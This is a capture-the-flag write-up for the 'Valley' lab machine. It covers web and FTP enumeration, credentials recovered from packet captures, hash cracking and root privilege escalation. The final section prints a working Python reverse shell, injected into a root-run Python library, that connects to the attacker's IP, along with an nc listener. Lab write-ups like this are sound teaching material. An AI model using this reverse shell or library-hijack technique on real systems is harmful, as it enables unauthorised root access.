Port17 / Technical archives

Field notes

Written by
Boula-Bytes
Published

CTF : Valley

Informations

  • IP: 10.10.211.130
  • MYIP: 10.11.22.97

First enumeration

Basics

  • NMAP
console
$ nmap -p22,80,37370 -A 10.10.211.130
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-02 17:11 CEST
Nmap scan report for 10.10.211.130
Host is up (0.032s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
|   256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
|_  256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
37370/tcp open  ftp     vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Let's take a look at the web server.

console
gobuster dir -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.211.130/static/ -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub,jar
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.211.130/static/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              cgi,tgz,tar.gz,tar,xml,json,sh,rb,pub,zip,bkp,html,txt,js,php,php.bak,sql,log,csv,jar,bak,sql.bak,rar,id_rsa,py,pl
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2023/07/02 17:21:29 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/12                   (Status: 200) [Size: 2203486]
/11                   (Status: 200) [Size: 627909]
/10                   (Status: 200) [Size: 2275927]
/1                    (Status: 200) [Size: 2473315]
/2                    (Status: 200) [Size: 3627113]
/3                    (Status: 200) [Size: 421858]
/4                    (Status: 200) [Size: 7389635]
/13                   (Status: 200) [Size: 3673497]
/14                   (Status: 200) [Size: 3838999]
/15                   (Status: 200) [Size: 3477315]
/16                   (Status: 200) [Size: 2468462]
/18                   (Status: 200) [Size: 2036137]
/5                    (Status: 200) [Size: 1426557]
/6                    (Status: 200) [Size: 2115495]
/17                   (Status: 200) [Size: 3551807]
/9                    (Status: 200) [Size: 1190575]
/7                    (Status: 200) [Size: 5217844]
/8                    (Status: 200) [Size: 7919631]
/00                   (Status: 200) [Size: 127]

http://10.10.211.130/static/00 leads to this note :

dev notes from valleyDev: -add wedding photo examples -redo the editing on #4 -remove /dev1243224123123 -check for SIEM alerts

So I gone to http://10.10.211.130/dev1243224123123/

And I found a login form. This form calls http://10.10.211.130/dev1243224123123/dev.js

This js file contains this section :

js
if (username === "siemDev" && password === "********") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }

So I entered those creds and a new note appeared :

dev notes for ftp server: -stop reusing credentials -check for any vulnerabilies -stay up to date on patching -change ftp port to normal port

So, they maybe use those creds for ftp service on port 37370.

That was correct and I managed to login.

console
ftp> ls -al
229 Entering Extended Passive Mode (|||52391|)
150 Here comes the directory listing.
dr-xr-xr-x    2 1001     1001         4096 Mar 06 14:06 .
dr-xr-xr-x    2 1001     1001         4096 Mar 06 14:06 ..
-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
ftp>

Allright those are packet capture files. So I used wireshark to explore them. First, I needed to merge siemHTTP1.pcapng and siemHTTP2.pcapng

And, finaly, I found a HTTP POST message with those informations :

console
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "uname" = "valleyDev"
    Form item: "psw" = "*******"
    Form item: "remember" = "on"

Exploit

With those informations I managed to login through SSH.

Privilege escalation

Enumeration for privesc

The user flag is here : $ cat user.txt

Let's gather some information :

console
$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
$ sudo -l
[sudo] password for valleyDev: 
Sorry, user valleyDev may not run sudo on valley.

valley:x:1000:1000:,,,:/home/valley:/bin/bash
siemDev:x:1001:1001::/home/siemDev/ftp:/bin/sh
valleyDev:x:1002:1002::/home/valleyDev:/bin/bash

$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
1  *    * * *   root    python3 /photos/script/photosEncrypt.py

I found a x64 binary file named valleyAuthenticator in /home.

First I needed to uncompress this binary using upx :

bash
upx -d valleyAuthenticator

Then using ghidra's strings search tool I found two strings that seemed to be hashes.

I put those two hashes into crackstation. First one was a hash for "valley" and second one a password.

I used those creds and manage to switch to valley user.

Now we know that the /photos/script/photosEncrypt.py is ran by root through crontab.

Let's have a look to this script

python
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
	image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
	with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
	encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
	output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
	with open(output_path, "wb") as output_file:
    	  output_file.write(encoded_image_data)

I have been stuck for a while there until I found this :

console
$ ls -al /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26 /usr/lib/python3.8/base64.py

Members of group valleyAdmin can modify this lib.

console
$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)

Exploit

So I tried to add this content in /usr/lib/python3.8/base64.py :

python
import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.22.97",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

And, on attacker side, I launched a nc listner :

bash
nc -nlvp 1234

After a minute I got a root shell \o/

cat /root/root.txt